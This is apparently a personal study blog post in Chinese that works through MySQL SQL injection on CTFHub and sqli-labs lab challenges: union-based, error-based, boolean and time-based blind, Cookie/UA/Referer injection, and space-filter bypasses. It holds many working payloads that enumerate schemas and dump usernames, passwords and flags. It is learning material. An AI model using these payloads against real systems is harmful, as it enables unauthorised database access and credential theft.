AI 摘要(由 ChatGPT 总结生成):
本文详细记录了SQL注入技术的学习过程,涵盖了整型、字符型、布尔盲注、时间盲注、报错注入以及Cookie、UA和Refer字段的特殊注入方式,并总结了绕过空格过滤的多种方法。通过理论知识结合实际案例和关键语句演示,展示了从发现注入点到获取敏感数据的完整步骤。文章重点在于实操性,适合初学者理解SQL注入的原理与实现。

前言

该 SQL 注入文档是自己在学校学习过程中的记录汇集(不涉及 WAF 拦截或参数过滤),文档中涉及到的数据库管理系统为 MySQL 。现将文档整理出来,留作自己的学习记录历程。每个注入类型将会有一到两个例子辅助说明。

SQL 整型注入

相关知识

一、常用函数

1、database():当前网站使用的数据库。
2、version():当前 MySQL 版本。
3、user():当前 MySQL 的用户。

二、关于 information_schema 的数据库

MySQL 默认有information_schema的数据库,该库中有三个表名,功能分别如下:

  • SCHEMATA:存储该用户创建的所有数据库的库名,记录库名的字段为SCHEMA_NAME
  • TABLES:存储该用户创建的所有数据库的库名和表名,记录库名和表名的字段为TABLE_SCHEMATABLE_NAME
  • COLUMNS:存储该用户创建的所有数据库的库名、表名和字段名,库名、表名和字段名为TABLE_SCHEMATABLE_NAMECOLUMN_NAME

三、union 函数

union操作符将两个 SQL 查询语句连接了起来,当设置某个参数不存在时,由于没有该参数的数据,因此会返回union后的查询语句的结果。

相关练习

CTFHub(整数型注入)

image-20210720104213808

1、先简单试着输入了几个数字测试,到 3 时就无输出了,接着尝试1 and 1=1成功出结果,1 and 1=2 无结果,SQL 语句成功执行,存在注入点。再用联合查询order by测试回显字段数,结果测试到1 order by 3时与前面的输出不同,则字段数为 2 。

2、接下来就是使用union函数联合搜索了,由于字段数为 2 ,故尝试:

-1 union select 1,2

成功执行,回显的字段如下:

image-20210720162314988

说明两个字段位置都可以回显。

3、接下来就是枚举出当前的数据库名,语句如下:

-1 union select 1, databases()

成功出当前库名:

image-20210720155928827

4、当前数据库名出来后接着联合搜索数据库里的表名,使用语句如下:

-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli'

发现在information_schema中查到两张表,如下:

image-20210720161032

5、查到 flag 表后,接下来就是继续拼接命令查字段名,如下:

-1 union select group_concat(column_name),2 from information_schema.columns where table_name='flag'

flag 表中查找到 flag 字段:

image-20210720161530240

6、根据库名、表名和字段名查字段值,命令如下:

-1 union select flag,2 from sqli.flag

执行,成功得到 flag :

image-20210720161957484

SQLI(SERIES-2)

1、先尝试添加一下?id=1'结果报错:

image-20210720171725054

接着再在上面的基础上在加一个'号,继续报错,如下:

image-20210720171910934

同时再用1 and 1=1(成功)和1 and 1=2(失败)命令简单判断了存在整数型注入,此时根据上述的错误提示确定相关 SQL 执行语句大致为:

select * from * where id=$id limit 0,1

确定存在有整数型注入。

2、使用order by来确定字段数,到1 order by 4时返回错误,可知字段数为 3 :

image-20210720172256959

3、枚举当前数据库,构造语句为:

-1 union select 1, 2, database()

image-20210720174709025

可知当前数据库名为security。当然此处也可以通过构建语句如下:

-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

即在 information_schema 表中查看数据库中的库名,如下图:

image-20210720175446894

若库多的话就会不了解当前数据库对应库名,此处除了数据库默认的相关库之外,只有额外的 3 个库,dvwachallengessecurity,简单排除测试以了解其当前数据库即可。

4、枚举security下的表名,使用的语句如下:

-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

成功得到表名:

image-20210720180035937

5、枚举字段名,使用的语句如下:

-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

成功拿到相关字段名:

image-20210720180352999

6、枚举字段的数据项,使用的语句如下:

-1 union select 1,group_concat(username),group_concat(password) from users

成功拿到用户名与密码:

image-20210720180903711

SQL 字符型注入

相关知识

字符型 SQL 注入的关键——引号的闭合

MySQL 数据库对于引号的规则如下:

  • 引号必须成对出现,否则数据库就会报错。
  • 如果两个引号之间内容为空,数据库自动忽略。

MySQL 有三种常用注释符:

  • -- :注意,这种注释符后边有一个空格,也可以是--+--%20-- '-- #
  • #:通过 # 进行注释
  • /* */:注释掉符号内的内容

相关练习

SQLI(SERIES-1)

1、先尝试一下?id=1,此时命令正常执行,如下:

image-20210721111623071

接下来就是判断此 SQL 是整数型注入还是字符型注入了,基于上条命令在后面添加 ' 尝试一下,此时页面显示错误,可见单引号被后台数据库成功执行,如下:

image-20210721111938416

再在后面添加一个 ' ,此时的SQL执行条件语句为?id=1'',正常执行:

image-20210721112125505

然后再基于 and 条件命令来验证一下判断,使用1' and 1=1报错,无法进行注入,故加注释来进行绕过,尝试1' and 1=1 -- '成功执行,如下图:

image-20210721114906701

后又执行1' and 1=2 -- ',逻辑判断错误,报错。此时可以根据上述执行结果确定后台执行的 SQL 命令语句大致为:

select * from * where id='$id' limit 0,1

存在字符型注入。

2、使用order by确定字段数,先拼接的字符串为1' order by 1 --+',当尝试到 4 的时候返回了错误,则可以确定字段数为 3 ,如下:

image-20210721120745684

3、使用union来判断各字段的类型以及判断能够在页面显示的字段,语句为:

-1' union select 1,2,3 --+'

image-20210721121119026

第二个和第三个字段成功回显。

4、开始枚举数据库名,构造语句为:

-1' union select 1,2,database() --+'

获取到当前数据库名:

image-20210721121325626

5、枚举表名,构造语句为:

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+'

结果如下:

image-20210721121850930

6、枚举字段名,语句为:

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+'

结果如下:

image-20210721122125062

7、枚举字段的字段值,语句如下:

-1' union select 1,group_concat(username),group_concat(password) from users --+'

结果如下:

image-20210721122729290

SQL 报错注入

相关知识

产生原因:MySQL 报错注入通过构造相关语句让信息通过错误提示回显出来,主要应用于查询不回现内容,会打印错误信息;updateinsert 等语句,会打印相关错误的信息。

主键重复报错

利用floor()函数使 SQL 语句报错,实际上是由count()rand()group by三个函数语句联合使用造成的。

使用到的相关函数介绍如下:

  • count():该函数返回匹配指定条件的行数。count(*) 函数返回表中的记录数。
  • floor():该函数是用来向下取整的,相当于去掉小数部分。
  • rand():该函数是随机取 (0,1) 中的一个数。但是给它一个参数 0 后,即rand(0),并且传给floor()后,即:floor(rand(0)*2)它就不再是随机了,是一个序列 0110110
  • concat():用于连接两个字符串。
  • group by x:根据 x 的规则对数据进行分组,分组时,MySQL 会建立一个临时空表进行分组。
  • 0x26:16 进制数值,ASCII 为 “&” ,在回显中起到分隔作用,可换其它。

报错注入使用到的相关构造语句如下:

语句一:
select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

语句二:
select count(*) from information_schema.tables group by concat((查询语句),floor(rand(0)*2))
注:该语句将输出字符长度限制为 64 个字符。

上述两个语句原理基本是相同的,下面由里向外主要分析一下上方第一条相关语句:

上述语句中floor(rand(0)*2)rand()函数会随机产生 [0,1) 之间的浮点数,如图:

image-20210721182143721

rand()函数可以自己设置随机种子,即rand(N),这个时候产生的随机数是伪随机数,也就是说多次生成的随机数是相同的,如图:

image-20210721182229383

floor(N)函数会返回一个小于或等于传入的参数的最大整数(相当于截断小数部分),如图:

image-20210721182335687

多次尝试后可以看出floor(rand(0)*2)的值是相同的,为 011011011 ,这也是整个报错语句的关键。

接下来分析concat()函数,该函数主要作用是拼接字符串,0x26的 ASCII 码是&,主要是用于分割其他字符串,就可以快速定位相关信息,括号后面有个x,是as x的简写,即前面语句的另一个名字,主要是为了减少重复复杂的语句。

image-20210721183349680

后面的group by xcount(*)上述函数功能已介绍,其常用用法如下:

image-20210721185203428

最初时,user-count(*)这个数据表是空的,由 MySQL 临时创建出来的,通过上述命令一行一行读取原数据表mysql.user字段,如果读到的字段在user-count(*)不存在,就将它插入,并且将对应的count(*)赋为 1 ,如果存在,就将其对应的count(*)+1,直至扫完整个数据表。

rand(0)*2 报错原理:

原因是因为rand() 函数在查询的时候会执行一次,插入的时候还会执行一次。这就是整个语句报错的关键,从上述floor(rand(0)*2)图中可以看到在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为 011011… (这个顺序很重要),相关流程如下:

  1. 查询前默认会建立空的虚拟表。
  2. 取第一条记录,执行floor(rand(0)*2),发现结果为 0 (第一次计算),查询虚拟表,发现 0 的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为 1 (第二次计算),插入虚表,这时第一条记录查询完毕。
  3. 查询第二条记录,再次计算floor(rand(0)*2),发现结果为 1 (第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接 count(*) 加 1 ,第二条记录查询完毕。
  4. 查询第三条记录,再次计算floor(rand(0)*2),发现结果为 0 (第四次计算),查询虚表,发现键值没有 0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为 1 (第五次计算),然而 1 这个主键已经存在于虚拟表中,而新计算的值也为 1 (主键键值必须唯一),所以插入的时候就直接报错了。
  5. 整个查询过程floor(rand(0)*2)被计算了 5 次,查询原数据表 3 次,所以这就是为什么数据表中需要 3 条数据,使用该语句才会报错的原因。

如果有一个序列开头是 0,1,0 或者 1,0,1 ,则无论如何都不会报错了,因为虚表开头两个主键会分别是 0 和 1 ,后面的就直接count(*)加 1 了。

rand()*2 报错原理

其实rand()*2报错原理与上述的rand(0)*2原理相同,主要是要保证在开始的查询结果中,不能让虚表中存在 0 , 1 键值,不然之后无论多少条记录都不会在报错了,例如随机数:0100011 在第一次取数据时插入了 1 ,第二次取数据时插入了 0 ,以后不会再存在主键重复的可能,就不会再报错了,因为表中已经存在 0 和 1 这两个数据。

需要注意的是,rand()*2当有两条记录的时候就可以报错(但是不绝对),而rand(0)*2只有当有三条数据记录数及以上才能报错(但是一定可以报错)。

xpath 语法错误报错

MySQL 5.1.5 开始提供两个 XML 查询和修改的函数,extractvalue()updatexml()extractvalue()负责在 xml 文档中按照 xpath 语法查询节点内容,updatexml()则负责修改查询到的内容。

1、XML 函数之 ExtractValue()

报错原理:从目标 XML 中返回包含所查询值的字符串。其用法格式如下:

extractvalue(XML_document, XPath_string);

其中:

  • 第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称。
  • 第二个参数:XPath_string ( Xpath 格式的字符串)。

ExtractValue()函数构造语句如下:

select extractvalue(1,concat(0x26,(查询语句),0x26))
注:extractvalue()只能查询 32 位及以内长度的字符,当超出 32 位时,我们要结合mid()substr()或配合right()等函数使其改变输出来进行注入。

示例:

image-20210721175636756

2、XML函数之 updatexml()

用法格式:

updatexml(XML_document, XPath_string, new_value);

其中:

  • 第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称。
  • 第二个参数:XPath_string ( Xpath 格式的字符串) 。
  • 第三个参数:new_value,String 格式,替换查找到的符合条件的数据 。

updatexml()函数构造语句如下:

select updatexml(1,concat(0x26,(查询语句),0x26),1)
updatexml()函数同ExtractValue()函数只能查询 32 位及以内长度的字符,当超出 32 位时,我们要结合mid()substr()或配合right()等函数使其改变输出来进行注入。

示例:

image-20210721175543117

CTFHub(报错注入)

1、简单输入几个数字,皆成功执行,又用 and 检查了一下,执行的 SQL 语句类似整数型的注入,测试发现命令只要不是语法错误皆会执行成功并返回“查询正确”的字样,无其他信息,此时使用1 order by 3确认了字段数为 2 。

image-20210721163206521

2、由于题目是利用报错注入进行,故枚举库名,构造执行语句如下:

-1 union select count(*),concat((select database()),0x26,floor(rand(0)*2))x from information_schema.columns group by x

成功执行,如图:

image-20210721163712047

此处也可以使用语句:

-1 union select count(*),concat((select schema_name from information_schema.schemata limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x

然后控制 limit 语句挨个查看相应库名。

3、枚举表名,将上述语句简单变换一下,即:

-1 union select count(*),concat((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x

控制 limit 语句成功爆出 2 个表名,flag 表名如下:

image-20210721165349061

4、枚举字段名,构造语句为:

-1 union select count(*),concat((select column_name from information_schema.columns where table_name='flag' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x

控制 limit 语句成功得到相应 flag 字段名:

image-20210721165709224

5、枚举字段的数值,获得 flag ,使用语句为:

-1 union select count(*),concat((select flag from sqli.flag limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x

结果如图:

image-20210721165911648

SQL 布尔注入

相关知识

布尔型

布尔(Boolean)型是计算机里的一种数据类型,只有 True(真)和 False(假)两个值。一般也称为逻辑型。

盲注

在注入时页面无具体数据返回的注入称之为盲注,一般是通过其他表现形式来判断数据的具体内容

布尔型盲注

页面在执行 SQL 语句后,只会显示两种结果,这时可通过构造逻辑表达式的 SQL 语句来判断数据的具体内容。

使用到的函数功能及介绍如下:

  • length():返回字符串的长度。
  • substring()substr():可以截取字符串,可指定开始的位置和截取的长度,结合ascii()使用。
  • mid():同substring()
  • ord():可以返回单个字符的 ASCII 码,反之 char() 函数可将 ASCII 码转换为对应的字符。
  • ascii():获取字符的 ASCII 码。

CTFHub(布尔注入)

此处自己根据原理编写了脚本工具完成,遂只记录注入关键过程。

1、猜测数据库中表的数量,构造语句:

1 and (select count(table_name) from information_schema.tables where table_schema=database())=2

最后的数值为 2 时,提示success,说明该库下有两张表:

image-20210722185234459

2、此时我们有表的数量,但无库名,后面也比较难进展下去。故使用ord()substring()函数配合查库名,构造语句为

1 and (select ord(substring(database(),$num,1))) = $ascii_num

其中$num配合substring()函数为你需要查询的字符段,$ascii_num为待查字符的 ASCII 码,这一过程比较痛苦。因为不知道库名长度及格式情况下要查的挺多,当然此处也可以二分法查找,利用><号锁定范围,根据返回 error 与 success 判断区间。

image-20210722190738553

于是,为了减少自己的工程量,此处自己根据原理就编写了一份脚本解决(后续相关查找皆配合自写相关脚本得以解决)。

image-20210722201130258

3、根据上述表的数量得知为 2 ,于是我们再来猜表名长度,构造相关语句:

1 and (select length(table_name) from information_schema.tables where table_schema=database() limit $table_num,1)=$num

其中$table_num值从 0 开始,$num为阿拉伯数字,表示表的长度。

image-20210722191603558

上图得知第一个表名长度为 4 ,经手工测试发现另一个表名长度也为 4 。

4、接下来根据表名的长度值确定表名,构造语句为:

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit $num1,1),$num2,1))=$ascii_num

其中,$num1为第一个表名值,从 0 开始,0 表示第一个表,$num2为待查询表名字符,由 1 开始递增,1 表示查询表名第一个字符,$ascii_num为 ASCII 码。

image-20210722191917150

上图查找后第一个表名为 news ,第二个表名为 flag ,此处查找借助脚本完成。

5、根据上述表名,在查询表中的字段数,构造语句:

1 and (select count(column_name) from information_schema.columns where table_name='$table_name')=$num

其中$table_name为上述查找到的表名,$num为字段数,即枚举表中有多少字段,此处耗时不长,就两个表需要确认字段。

image-20210722192749247

由上图得知 news 表有两个字段数,而另一张 flag 表查找后发现就1个字段数。

6、根据上述得到的相关字段数确定每一列长度,构造语句为:

1 and length(substr((select column_name from information_schema.columns where table_name='$table_name' limit $num1,1),1))=$num2

其中$table_name为待确定的表,$num1为待确定的第几列字段,从 0 开始,$num2为待确定的该列字段的长度值。

image-20210722193314569

由上图得知 flag 表第一个字段的长度为 4 ,另一张 news 表经测试发现第一个字段的长度为 2 ,第二个字段长度为 4 。

7、根据字段长度确定字段名,构造语句为:

1 and ascii(substr((select column_name from information_schema.columns where table_name='$table_name' limit $num1,1),$num2,1))=$ascii_num

其中$table_name为待确定字段值的表名,$num1为待确定的第几列字段,从 0 开始,0 表示第一个字段,$num2表示该列字段的第几个数值,从 1 递增,1 表示第一个,此处排查很耗费时间,可以借助二分法查找。

image-20210722193930032

由上图得知 flag 表的第一个字段的第一个值 ASCII 码值为 102 ,即 f ,查完后该字段值为 flag ;另一个表名 news 的第一个字段名为 id ,第二个字段名为 data 。此处为查找方便故使用脚本解决:

image-20210722201317275

8、根据数据库名、表名、字段名确定字段的值,构造语句为:

1 and ascii(substr((select $column_name from $table_name limit $num1,1),$num2,1))=$ascii_num

其中,$column_name为字段名,$table_name为表名,也可以是库名.表名的形式,$num1为第几行的值,从 0 开始, 0 表示该字段中的第一行值;$num2表示该行字段的第几个值,从 1 递增, 1 表示该字段的第一个值,$ascii_num表示 ASCII 码。

image-20210722195820424

上图可知,news 表中 id 字段第一行第一个值的 ASCII 码值为 49 ,即 1 。由于此处 news 表不是我们的目标数据表,遂直接跑 flag 表,直接上脚本跑得 flag 表,结果如下:

image-20210722201540813

可知 flag 字段值为ctfhub{1f7aaf763a54c3ec1a39a01f}

SQL 时间盲注

相关知识

时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据

时间盲注一般步骤如下:

  • 构造一个 payload ,payload 内的延迟函数设置参数为t,如果满足某种条件,则延时 t 秒之后返回;否则直接返回。
  • 发送 payload ,观察执行时间,从而推断出条件是否满足。
  • 重复上述两步,直到推出所有信息。

使用到的函数功能及介绍如下:

  • sleep(t):延时t秒钟。这个函数返回值是 0 。
  • length(str) :返回str的长度。
  • substring()substr():可以截取字符串,可指定开始的位置和截取的长度,结合ascii()使用。
  • mid():同substring()
  • left(str,len) :字符串左截取函数,返回str的左len个字符。
  • right(str,len) :字符串右截取函数,返回sre的右len个字符。
  • ord():可以返回单个字符的 ASCII 码,反之char()函数可将 ASCII 码转换为对应的字符。
  • ascii(str):获取str字符的 ASCII 码,如果str是空串,则返回 0 ;如果strNULL,则返回NULL
  • if(expr1, expr2, expr3) :逻辑判断函数。如果expr1为真,则执行expr2,否则执行expr3

CTFHub(时间盲注)

此处因时间关系未编写相对完善的脚本了,基于 ctfhub 技能树的 flag 字段值皆是在 sqli.flag 表中,故此处只说明注入流程及实现。

注:SQL 语句构造千千万,下方只是个人实践并根据执行逻辑总结出来的语句。

1、根据上述的相关知识,开始尝试注入,先编写语句为:

1 and if(1=1,sleep(3),0) --+

浏览器窗口明显的延迟,故语句注入成功,如图:

image-20210723120116025

后又根据单引号'与右括号)等的闭合尝试执行,发现均没有执行到 if 里面的sleep()函数,故可以猜测 SQL 语句是整型注入的语句。

2、猜一下数据库名的长度值,构造语句为:

1 and if((select length(database()) as db_name_length)=$num,sleep(3),1);

其中$num为数据库名的长度值,当值为 4 的时候,延迟函数执行了,如图:

image-20210723122851015

由此可知数据库名长度为 4 。

3、知道数据库名长度为 4 后,开始枚举一下当前的数据库名,构造语句为:

1 and if(ascii(substring(database(),$num,1))=$ascii_num,sleep(3),1) --+

其中$num为该库的第几个字符值,从1开始递增,$ascii_num为对应的 ASCII 码,此处也可以使用二分法查找,执行后观察控制台,延迟了 3 秒,故语句执行成功,如图:

image-20210723123345302

上述图可知,ASCII 码为 115 ,即数据库名第一个值为 s 时执行了延迟函数,后面同理推断出数据库名为 sqli 。

4、根据库名开始枚举表的数量,构造语句为:

1 and if((select count(table_name) from information_schema.tables where table_schema=database())=$num,sleep(3),1) --+

其中$num为表的数量值,但该值为 2 的时候,延迟函数成功执行,如图:

image-20210723124130854

上述图说明库中有 2 张表,开始下一步。

5、根据表的数量开始查表名的长度值,构造语句为:

1 and if((select length(table_name) from information_schema.tables where table_schema=database() limit $table_num,1)=$num,sleep(3),1) --+

其中$table_num为表的数量值,从 0 开始,0 表示第一张表,$num表示长度值,当$table_num为 0 ,$num为 4 的时候,延迟函数执行,此时可知第一张表的长度为 4 ,如图:

image-20210723124921736

查询另一张表得知另一张表的长度值也为 4 。

6、根据表的长度值及数量值开始枚举表的字符值,构造语句为:

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit $table_num,1),$num,1))=ascii_num,sleep(3),1)

其中$table_num为待查询的表的列值,0 开始递增,0 表示第一列的表,$num表示该列表名的第几个字符,1 开始递增,1 表示第一个,$ascii_num表示 ASCII 码值。

image-20210723125813557

由上图可知第 2 张表的第一个字符值 ASCII 码为 102 时延迟语句执行成功,该 ASCII 码对应字符为 f ,继续推断后续的字符值后得知该表名称为 flag ,另一张表名为 news 。

7、根据表名开始枚举表中的字段数,构造语句为:

1 and if((select count(column_name) from information_schema.columns where table_name='$table_name')=$num,sleep(3),1)

其中$table_name为待查询的表名,$num为待查询的表名中的字段数。结果如下:

image-20210723130520023

由上图可知 flag 表中的字段数为 1 的时候,延迟函数执行,故 flag 表中只有一个字段;查询另一张 news 表中有两个字段数。

8、根据字段数、表名开始枚举字段长度,构造语句为:

1 and if((select length(column_name) from information_schema.columns where table_name='$table_name' limit $num1,1)=$num2,sleep(3),1)

其中$table_name为待查询相关字段数的表名,$num1为待查询的第几个字段,从 0 开始递增,0 表示第一个字段,$num2表示字段的长度值,如图:

image-20210723132653229

由图可知,flag 表中第一个字段的长度值为 4 ;news 表中第一个字段长度值为 2 ,第二个字段长度值为 4 。

9、根据字段长度枚举字段值,构造语句为:

1 and if(ascii(substr((select column_name from information_schema.columns where table_name='$table_name' limit $num1,1),$num2,1))=$ascii_num,sleep(3),1)

其中$table_name表示待查询的表名,$num1表示待查询的字段,0 开始递增,0 表示第一个字段,$num2表示该字段的第几个字符,1 开始递增查询,1 表示第一个字符,$ascii_num表示对应 ASCII 码,如图:

image-20210723133309601

上图可知 flag 表中第一个字段的第一个字符的 ASCII 码值为 102 ,即 f ,延迟函数执行成功。并同理算出完整的字段为 flag ;news表第一个字段为 id ,第二个字段为 data 。

10、根据上述的库名、表名、字段名,就可以开始算字段对应的值了,构造语句为:

1 and if(ascii(substr((select $column_name from $table_name limit $num1,1),$num2,1))=$ascii_num,sleep(3),1)

其中,$column_name为字段名,$table_name为表名,也可以是库名.表名的形式,$num1为第几行的值,从 0 开始,0 表示该字段中的第一行值,$num2表示该行字段的第几个值,从 1 递增,1 表示该字段的第一个值,$ascii_num表示 ASCII 码。

image-20210723134034318

由上图可知,flag 表中的 flag 字段第一行的第一个字符值的 ASCII 码值为 99 ,即 c ,于是根据后面的测试,得到字段值为ctfhub{514f8991817a193a354e1939},提交,成功通过。

SQL Cookie注入

此处的注入点为 Cookie 字段了,原理是后台在接收 Cookie 字段时没有对 Cookie 做过滤。正常情况下,我们在进行渗透测试的时候,Cookie 字段也可用作一个注入点。

CTFHub(Cookie注入)

1、这次打开链接发现输入的参数在 Cookie 中了,遂借助 EditThisCookie 工具修改 Cookie 值提交请求。

image-20210723151526642

2、使用order byunion确定字段值与回显字段后,构造语句:

-1 union select 1,database()

得到当前数据库名,如图:

image-20210723151901323

3、根据库名枚举表名,构造语句为:

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

成功得到表,如图:

image-20210723152107252

4、根据表名枚举字段名,语句为:

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='wtosponpou'

成功得到字段名:

image-20210723152216378

5、根据字段名枚举字段值,相关语句为:

-1 union select 1,group_concat(gmbwiemzxe) from sqli.wtosponpou

成功得到 flag :

image-20210723152351790

SQL UA注入

注入点变成了浏览器的 User-Agent ,原理是后台在接收 UA 时没有对 UA 做过滤。

注入利用方法同 SQL Cookie 注入,此处不在概述。

SQL Refer注入

注入点变成了 Refer 字段,注入原理是后台在接收 Refer 时没有对 Refer 做过滤。

注入利用方法同 SQL Cookie 注入,此处不在概述。

SQL 过滤空格

相关知识

SQL 注入时,空格的使用是非常普遍的。比如,我们使用 union 来取得目标数据,构造语句时在 and 两侧、union 两侧、select 的两侧,都需要空格,而过滤空格,也是防注入的一种手段。

其可以绕过的方式如下:

一、注释绕过空格

这是最基本的方法,在一些自动化 SQL 注入工具中,使用也十分普遍。在 MySQL 中,用

/*注释*/

来标记注释的内容。比如SQL查询:

select user() from sqli;

我们用注释替换空格,就可以变成:

select/**/user()/**/from/**/sqli;

二、括号绕过空格

空格被过滤,但括号没有被过滤,可通过括号绕过。在 MySQL 中,括号通常是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

有这样的一条 SQL 查询:

select user() from sqli where 1=1 and 2=2;

如何把空格减到最少?

观察到 user() 可以算值,那么 user() 两边要加括号,变成:

select(user())from sqli where 1=1 and 2=2;

继续,1=12=2 可以算值,也加括号,去空格,变成:

select(user())from sqli where(1=1)and(2=2);

sqli 两边的空格,通常是由程序员自己添加,我们一般无法控制。所以上面就是空格最少的结果。

CTFHub(过滤空格)

1、过滤空格,顾名思义就是将 SQL 语句中的空格给注释掉。下面将使用注释符进行绕过。老方法,先使用order byunion判断字段数与回显值,构造相关语句:

-1/**/union/**/select/**/1,database()

成功出库名:

image-20210723164042542

2、枚举表名,构造语句为:

-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

成功得到表,如图:

image-20210723164153610

3、根据表名枚举字段名,构造语句:

-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='ptmgnbdssq'

成功得到字段名:

image-20210723164358222

4、根据字段名枚举字段值,构造语句为:

-1/**/union/**/select/**/1,group_concat(qfbfzkcbul)/**/from/**/sqli.ptmgnbdssq

成功得到 flag :

image-20210723164516719

如上即本人学习 SQL 注入时的一些总结,希望可以帮助到大家,瑞思拜~

End

本文标题:SQL注入学习记录

本文链接:https://www.isisy.com/1230.html

除非另有说明,本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

声明:转载请注明文章来源。

如果觉得我的文章对你有用,请随意赞赏